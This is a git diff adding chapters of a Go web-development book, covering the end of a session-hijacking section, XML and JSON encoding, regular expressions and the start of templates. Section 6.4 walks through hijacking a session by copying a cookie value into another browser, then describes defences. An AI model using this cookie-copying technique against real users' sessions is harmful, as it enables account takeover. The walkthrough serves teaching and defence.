t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +The content of `count.gtpl` is as follows: + + Hi. Now count:{{.}} + +We can see the following content in the browser: + +![](images/6.4.hijack.png?raw=true) + +Figure 6.4 count in browser. + +Keep refreshing until the number becomes 6, then open the browser's cookie manager (I use chrome here). You should be able to see the following information: + +![](images/6.4.cookie.png?raw=true) + +Figure 6.5 cookies saved in a browser. + +This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser. + +![](images/6.4.setcookie.png?raw=true) + +Figure 6.6 Simulate a cookie. + +Refresh the page and you'll see the following: + +![](images/6.4.hijacksuccess.png?raw=true) + +Figure 6.7 hijacking the session has succeeded. + +Here we see that we can hijack sessions between different browsers, and actions performed in one one browser can affect the state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is simulated, and chrome is also not able to know that its session id has been hijacked. + +## prevent session hijacking + +### cookie only and token + +Through this simple example of hijacking a session, you can see that it's very dangerous because it allows attackers to do whatever they want. So how can we prevent session hijacking? + +The first step is to only set session ids in cookies, instead of in URL rewrites. Also, we should set the httponly cookie property to true. This restricts client side scripts that want access to the session id. Using these techniques, cookies cannot be accessed by XSS and it won't be as easy as we showed to get a session id from a cookie manager. + +The second step is to add a token to every request. Similar to the way we dealt with repeat forms in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can verify this token to prove that the request is unique. + + h := md5.New() + salt:="astaxie%^7&8888" + io.WriteString(h,salt+time.Now().String()) + token:=fmt.Sprintf("%x",h.Sum(nil)) + if r.Form["token"]!=token{ + // ask to log in + } + sess.Set("token",token) + +### Session id timeout + +Another solution is to add a create time for every session, and to replace expired session ids with new ones. This can prevent session hijacking under certain circumstances. + + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + +We set a value to save the create time and check if it's expired (I set 60 seconds here). This step can often thwart session hijacking attempts. + +Combine the two solutions above and you will be able to prevent most session hijacking attempts from succeeding. On the one hand, session ids that are frequently reset will result in an attacker always getting expired and useless session ids; on the other hand, by setting the httponly property on cookies and ensuring that session ids can only be passed via cookies, all URL based attacks are mitigated. Finally, we set `MaxAge=0` on our cookies, which means that the session ids will not be saved in the browser history. + +## Links + +- [Directory](preface.md) +- Previous section: [Session storage](06.3.md) +- Next section: [Summary](06.5.md) diff --git a/de/06.5.md b/de/06.5.md new file mode 100644 index 00000000..45281518 --- /dev/null +++ b/de/06.5.md @@ -0,0 +1,9 @@ +# 6.5 Summary + +In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two. Since Go doesn't support sessions in its standard library, we also designed our own session manager. We went through the everything from creating client sessions to deleting them. We then defined an interface called `Provider` which supports all session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across sessions. In section 6.4, I show you one way of hijacking a session. Then we looked at how to prevent your own sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you're able to safely use them in your applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Prevent session hijacking](06.4.md) +- Next chapter: [Text files](07.0.md) diff --git a/de/07.0.md b/de/07.0.md new file mode 100644 index 00000000..d6aba41b --- /dev/null +++ b/de/07.0.md @@ -0,0 +1,11 @@ +# 7 Text files + +Handling text files is a big part of web development. We often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library. You'll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go. + +XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their standard interaction language. We'll more talk about XML in section 7.1. In section 7.2, we'll take a look at JSON which has been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how the MVC pattern is used to develop applications in Go, and also how to use Go's `template` package for templating your views. In section 7.5, we'll introduce you to file and folder operations. Finally, we will explain some Go string operations in section 7.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 6 Summary](06.5.md) +- Next section: [XML](07.1.md) diff --git a/de/07.1.md b/de/07.1.md new file mode 100644 index 00000000..cec4225c --- /dev/null +++ b/de/07.1.md @@ -0,0 +1,216 @@ +# 7.1 XML + +XML is a commonly used data communication format in web services. Today, it's assuming a more and more important role in web development. In this section, we're going to introduce how to work with XML through Go's standard library. + +I will not make any attempts to teach XML's syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go. + +Suppose you work in IT, and you have to deal with the following XML configuration file: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples. + +## Parse XML + +How do we parse this XML document? We can use the `Unmarshal` function in Go's `xml` package to do this. + + func Unmarshal(data []byte, v interface{}) error + +the `data` parameter receives a data stream from an XML source, and `v` is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we'll only talk about how to convert from XML to the `struct` type since they share similar tree structures. + +Sample code: + + package main + + import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" + ) + + type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` + } + + type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return + } + + fmt.Println(v) + } + +XML is actually a tree data structure, and we can define a very similar structure using structs in Go, then use `xml.Unmarshal` to convert from XML to our struct object. The sample code will print the following content: + + {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + } + +We use `xml.Unmarshal` to parse the XML document to the corresponding struct object. You should see that we have something like `xml:"serverName"` in our struct. This is a feature of structs called `struct tags` for helping with reflection. Let's see the definition of `Unmarshal` again: + + func Unmarshal(data []byte, v interface{}) error + +The first argument is an XML data stream. The second argument is storage type and supports the struct, slice and string types. Go's XML package uses reflection for data mapping, so all fields in v should be exported. However, this causes a problem: how can it know which XML field corresponds to the mapped struct field? The answer is that the XML parser parses data in a certain order. The library will try to find the matching struct tag first. If a match cannot be found then it searches through the struct field names. Be aware that all tags, field names and XML elements are case sensitive, so you have to make sure that there is a one to one correspondence for the mapping to succeed. + +Go's reflection mechanism allows you to use this tag information to reflect XML data to a struct object. If you want to know more about reflection in Go, please read the package documentation on struct tags and reflection. + +Here are some rules when using the `xml` package to parse XML documents to structs: + +- If the field type is a string or []byte with the tag `",innerxml"`, `Unmarshal` will assign raw XML data to it, like `Description` in the above example: + + Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2 + +- If a field is called `XMLName` and its type is `xml.Name`, then it gets the element name, like `servers` in above example. +- If a field's tag contains the corresponding element name, then it gets the element name as well, like `servername` and `serverip` in the above example. +- If a field's tag contains `",attr"`, then it gets the corresponding element's attribute, like `version` in above example. +- If a field's tag contains something like `"a>b>c"`, it gets the value of the element c of node b of node a. +- If a field's tag contains `"="`, then it gets nothing. +- If a field's tag contains `",any"`, then it gets all child elements which do not fit the other rules. +- If the XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains `",comments"`. This field type can be a string or []byte. If this kind of field does not exist, all comments are discard. + +These rules tell you how to define tags in structs. Once you understand these rules, mapping XML to structs will be as easy as the sample code above. Because tags and XML elements have a one to one correspondence, we can also use slices to represent multiple elements on the same level. + +Note that all fields in structs should be exported (capitalized) in order to parse data correctly. + +## Produce XML + +What if we want to produce an XML document instead of parsing one. How do we do this in Go? Unsurprisingly, the `xml` package provides two functions which are `Marshal` and `MarshalIndent`, where the second function automatically indents the marshalled XML document. Their definition as follows: + + func Marshal(v interface{}) ([]byte, error) + func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) + +The first argument in both of these functions is for storing a marshalled XML data stream. + +Let's look at an example to see how this works: + + package main + + import ( + "encoding/xml" + "fmt" + "os" + ) + + type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + } + + type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) + } + +The above example prints the following information: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +As we've previously defined, the reason we have `os.Stdout.Write([]byte(xml.Header))` is because both `xml.MarshalIndent` and `xml.Marshal` do not output XML headers on their own, so we have to explicitly print them in order to produce XML documents correctly. + +Here we can see that `Marshal` also receives a v parameter of type `interface{}`. So what are the rules when marshalling to an XML document? + +- If v is an array or slice, it prints all elements like a value. +- If v is a pointer, it prints the content that v is pointing to, printing nothing when v is nil. +- If v is a interface, it deal with the interface as well. +- If v is one of the other types, it prints the value of that type. + +So how does `xml.Marshal` decide the elements' name? It follows the proceeding rules: + +- If v is a struct, it defines the name in the tag of XMLName. +- The field name is XMLName and the type is xml.Name. +- Field tag in struct. +- Field name in struct. +- Type name of marshal. + +Then we need to figure out how to set tags in order to produce the final XML document. + +- XMLName will not be printed. +- Fields that have tags containing `"-"` will not be printed. +- If a tag contains `"name,attr"`, it uses name as the attribute name and the field value as the value, like `version` in the above example. +- If a tag contains `",attr"`, it uses the field's name as the attribute name and the field value as its value. +- If a tag contains `",chardata"`, it prints character data instead of element. +- If a tag contains `",innerxml"`, it prints the raw value. +- If a tag contains `",comment"`, it prints it as a comment without escaping, so you cannot have "--" in its value. +- If a tag contains `"omitempty"`, it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string. +- If a tag contains `"a>b>c"`, it prints three elements where a contains b and b contains c, like in the following code: + + FirstName string `xml:"name>first"` + LastName string `xml:"name>last"` + + + Asta + Xie + + +You may have noticed that struct tags are very useful for dealing with XML, and the same goes for the other data formats we'll be discussing in the following sections. If you still find that you have problems with working with struct tags, you should probably read more documentation about them before diving into the next section. + +## Links + +- [Directory](preface.md) +- Previous section: [Text files](07.0.md) +- Next section: [JSON](07.2.md) diff --git a/de/07.2.md b/de/07.2.md new file mode 100644 index 00000000..6066b18c --- /dev/null +++ b/de/07.2.md @@ -0,0 +1,231 @@ +# 7.2 JSON + +JSON (JavaScript Object Notation) is a lightweight data exchange language which is based on text description. Its advantages include being self-descriptive, easy to understand, etc. Even though it is a subset of JavaScript, JSON uses a different text format, the result being that it can be considered as an independent language. JSON bears similarity to C-family languages. + +The biggest difference between JSON and XML is that XML is a complete markup language, whereas JSON is not. JSON is smaller and faster than XML, therefore it's much easier and quicker to parse in browsers, which is one of the reasons why many open platforms choose to use JSON as their data exchange interface language. + +Since JSON is becoming more and more important in web development, let's take a look at the level of support Go has for JSON. You'll find that Go's standard library has very good support for encoding and decoding JSON. + +Here we use JSON to represent the example in the previous section: + + {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} + +The rest of this section will use this JSON data to introduce JSON concepts in Go. + +## Parse JSON + +### Parse to struct + +Suppose we have the JSON in the above example. How can we parse this data and map it to a struct in Go? Go provides the following function for just this purpose: + + func Unmarshal(data []byte, v interface{}) error + +We can use this function like so: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) + } + +In the above example, we defined a corresponding structs in Go for our JSON, using slice for an array of JSON objects and field name as our JSON keys. But how does Go know which JSON object corresponds to which specific struct filed? Suppose we have a key called `Foo` in JSON. How do we find its corresponding field? + +- First, Go tries to find the (capitalised) exported field whose tag contains `Foo`. +- If no match can be found, look for the field whose name is `Foo`. +- If there are still not matches look for something like `FOO` or `FoO`, ignoring case sensitivity. + +You may have noticed that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found, ignoring all others. This can be useful if you need to deal with large chunks of JSON data but you only a specific subset of it; the data you don't need can easily be discarded. + +### Parse to interface + +When we know what kind of JSON to expect in advance, we can parse it to a specific struct. But what if we don't know? + +We know that an interface{} can be anything in Go, so it is the best container to save our JSON of unknown format. The JSON package uses `map[string]interface{}` and `[]interface{}` to save all kinds of JSON objects and arrays. Here is a list of JSON mapping relations: + +- `bool` represents `JSON booleans`, +- `float64` represents `JSON numbers`, +- `string` represents `JSON strings`, +- `nil` represents `JSON null`. + +Suppose we have the following JSON data: + + b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) + +Now we parse this JSON to an interface{}: + + var f interface{} + err := json.Unmarshal(b, &f) + +The `f` stores a map, where keys are strings and values are interface{}'s'. + + f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, + } + +So, how do we access this data? Type assertion. + + m := f.(map[string]interface{}) + +After asserted, you can use the following code to access data: + + for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } + } + +As you can see, we can parse JSON of an unknown format through interface{} and type assert now. + +The above example is the official solution, but type asserting is not always convenient. So, I recommend an open source project called `simplejson`, created and maintained by by bitly. Here is an example of how to use this project to deal with JSON of an unknown format: + + js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } + }`)) + + arr, _ := js.Get("test").Get("array").Array() + i, _ := js.Get("test").Get("int").Int() + ms := js.Get("test").Get("string").MustString() + +It's not hard to see how convenient this is. Check out the repository to see more information: [https://github.com/bitly/go-simplejson](https://github.com/bitly/go-simplejson). + +## Producing JSON + +In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called `Marshal` to do just that: + + func Marshal(v interface{}) ([]byte, error) + +Suppose we need to produce a server information list. We have following sample: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) + } + +Output: + + {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} + +As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use `struct tag`s. Otherwise, Go will not produce data for internal fields. + + type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` + } + + type Serverslice struct { + Servers []Server `json:"servers"` + } + +After this modification, we can produce the same JSON data as before. + +Here are some points you need to keep in mind when trying to produce JSON: + +- Field tags containing `"-"` will not be outputted. +- If a tag contains a customized name, Go uses this instead of the field name, like `serverName` in the above example. +- If a tag contains `omitempty`, this field will not be outputted if it is its zero-value. +- If the field type is `bool`, string, int, `int64`, etc, and its tag contains `",string"`, Go converts this field to its corresponding JSON type. + +Example: + + type Server struct { + // ID will not be outputed. + ID int `json:"-"` + + // ServerName2 will be converted to JSON type. + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // If ServerIP is empty, it will not be outputed. + ServerIP string `json:"serverIP,omitempty"` + } + + s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, + } + b, _ := json.Marshal(s) + os.Stdout.Write(b) + +Output: + + {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} + +The `Marshal` function only returns data when it has succeeded, so here are some points we need to keep in mind: + +- JSON only supports strings as keys, so if you want to encode a map, its type has to be `map[string]T`, where `T` is the type in Go. +- Types like channel, complex types and functions are not able to be encoded to JSON. +- Do not try to encode cyclic data, it leads to an infinite recursion. +- If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil. + +In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called `simplejson` which is for parsing JSON or unknown format. These are all useful concepts for developping web applications in Go. + +## Links + +- [Directory](preface.md) +- Previous section: [XML](07.1.md) +- Next section: [Regexp](07.3.md) diff --git a/de/07.3.md b/de/07.3.md new file mode 100644 index 00000000..2d524455 --- /dev/null +++ b/de/07.3.md @@ -0,0 +1,241 @@ +# 7.3 Regexp + +Regexp is a complicated but powerful tool for pattern matching and text manipulation. Although does not perform as well as pure text matching, it's more flexible. Based on its syntax, you can filter almost any kind of text from your source content. If you need to collect data in web development, it's not hard to use Regexp to retrieve meaningful data. + +Go has the `regexp` package, which provides official support for regexp. If you've already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for `\C`. For more details, follow this link: [http://code.google.com/p/re2/wiki/Syntax](http://code.google.com/p/re2/wiki/Syntax). + +Go's `strings` package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split, Join), etc., and it's faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive string, Regexp should be your best choice. So, if the `strings` package is sufficient for your needs, just use it since it's easy to use and read; if you need to perform more advanced operations, use Regexp. + +If you recall form verification from previous sections, we used Regexp to verify the validity of user input information. Be aware that all characters are UTF-8. Let's learn more about the Go `regexp` package! + +## Match + +The `regexp` package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise. + + func Match(pattern string, b []byte) (matched bool, error error) + func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) + func MatchString(pattern string, s string) (matched bool, error error) + +All of 3 functions check if `pattern` matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are `slice of byte`, `RuneReader` and `string`. + +Here is an example of how to verify an IP address: + + func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false + } + return true + } + +As you can see, using pattern in the `regexp` package is not that different. Here's one more example on verifying if user input is valid: + + func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("Number") + } else { + fmt.Println("Not number") + } + } + +In the above examples, we use `Match(Reader|Sting)` to check if content is valid, but they are all easy to use. + +## Filter + +Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use complex mode of Regexp. + +Let's say we need to write a crawler. Here is an example that shows when you must use Regexp to filter and cut data. + + package main + + import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" + ) + + func main() { + resp, err := http.Get("http://www.baidu.com") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + // Convert HTML tags to lower case. + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + // Remove STYLE. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove SCRIPT. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove all HTML code in angle brackets, and replace with newline. + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") + + // Remove continuous newline. + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) + } + +In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a `Regexp` for parsing content in other operations. + +Here are some functions to parse your Regexp syntax: + + func Compile(expr string) (*Regexp, error) + func CompilePOSIX(expr string) (*Regexp, error) + func MustCompile(str string) *Regexp + func MustCompilePOSIX(str string) *Regexp + +The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returning error otherwise. + +Now that we know how to create a new Regexp, let's see what how the methods provided by this struct can help us to operate on content: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllString(s string, n int) []string + func (re *Regexp) FindAllStringIndex(s string, n int) [][]int + func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string + func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) + func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int + func (re *Regexp) FindString(s string) string + func (re *Regexp) FindStringIndex(s string) (loc []int) + func (re *Regexp) FindStringSubmatch(s string) []string + func (re *Regexp) FindStringSubmatchIndex(s string) []int + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +Code sample: + + package main + + import ( + "fmt" + "regexp" + ) + + func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + // Find the first match. + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0. + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + // Find index of first match, start and end position. + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + // Find index of all matches, the n does same job as above. + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second (). + // Output: + // the first element: "am learning Go language" + // the second element: " learning Go ", notice spaces will be outputed as well. + // the third element: "uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + // Same thing like FindIndex(). + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + // FindAllSubmatch, find all submatches. + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + // FindAllSubmatchIndex,find index of all submatches. + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) + } + +As we've previously introduced, Regexp also has 3 methods for matching. They do the exact same things as the exported functions. In fact, those exported functions actually call these methods under the hood: + + func (re *Regexp) Match(b []byte) bool + func (re *Regexp) MatchReader(r io.RuneReader) bool + func (re *Regexp) MatchString(s string) bool + +Next, let's see how to replace strings using Regexp: + + func (re *Regexp) ReplaceAll(src, repl []byte) []byte + func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte + func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte + func (re *Regexp) ReplaceAllLiteralString(src, repl string) string + func (re *Regexp) ReplaceAllString(src, repl string) string + func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string + +These are used in the crawling example, so we don't explain more here. + +Let's take a look at the definition of `Expand`: + + func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte + func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte + +So how do we use `Expand`? + + func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) + } + +At this point, you've learned the whole `regexp` package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own. + +## Links + +- [Directory](preface.md) +- Previous section: [JSON](07.2.md) +- Next section: [Templates](07.4.md) diff --git a/de/07.4.md b/de/07.4.md new file mode 100644 index 00000000..36236ddb --- /dev/null +++ b/de/07.4.md @@ -0,0 +1,367 @@ +# 7.4 Templates + +## What is a template? + +Hopefully you're aware of the MVC (Model, View, Controller) design model, where models process data, views show the results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in static HTML files. For instance, JSP is implemented by inserting `<%=....=%>`, PHP by inserting ``, etc. + +The following demonstrates the template mechanism: +![](images/7.4.template.png?raw=true) + +Figure 7.1 Template mechanism + +Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For example, if you need to show a list users who have visited a page, only the user name would be dynamic. The style of the list remains the same. As you can see, templates are useful for reusing static content. + +## Templating in Go + +In Go, we have the `template` package to help handle templates. We can use functions like `Parse`, `ParseFile` and `Execute` to load templates from plain text or files, then evaluate the dynamic parts, like in figure 7.1. + +Example: + + func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") // Create a template. + t, _ = t.ParseFiles("tmpl/welcome.html", nil) // Parse template file. + user := GetUser() // Get current user infomration. + t.Execute(w, user) // merge. + } + +As you can see, it's very easy to use, load and render data in templates in Go, just like in other programming languages. + +For the sake of convenience, we will use the following rules in our examples: + +- Use `Parse` to replace `ParseFiles` because `Parse` can test content directly from strings, so we don't need any extra files. +- Use `main` for every example and do not use `handler`. +- Use `os.Stdout` to replace `http.ResponseWriter` since `os.Stdout` also implements the `io.Writer` interface. + +## Inserting data into a template + +We've just showed you how to parse and render templates. Let's take it one step further and render data to our templates. Every template is an object in Go, so how do we insert fields to templates? + +### Fields + +In Go, Every field that you intend to be rendered within a template should be put inside of `{{}}`. `{{.}}` is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use `{{.FieldName}}`. Notice that only exported fields can be accessed in templates. Here is an example: + + package main + + import ( + "html/template" + "os" + ) + + type Person struct { + UserName string + } + + func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) + } + +The above example outputs `hello Astaxie` correctly, but if we modify our struct a little bit, the following error emerges: + + type Person struct { + UserName string + email string // Field is not exported. + } + + t, _ = t.Parse("hello {{.UserName}}! {{.email}}") + +This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error. + +If you print `{{.}}` in a template, Go outputs formatted string of this object, calling `fmt` under the covers. + +### Nested fields + +We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in one loop? We can use `{{with …}}…{{end}}` and `{{range …}}{{end}}` for exactly that. + +- `{{range}}` just like range in Go. +- `{{with}}` lets you write the same object name once and use `.` as shorthand for it ( ***Similar to `with` in VB*** ). + +More examples: + + package main + + import ( + "html/template" + "os" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +### Conditions + +If you need to check for conditions in templates, you can use the `if-else` syntax just like you do in regular Go programs. If the pipeline is empty, the default value of `if` is `false`. The following example shows how to use `if-else` in templates: + + package main + + import ( + "os" + "text/template" + ) + + func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = 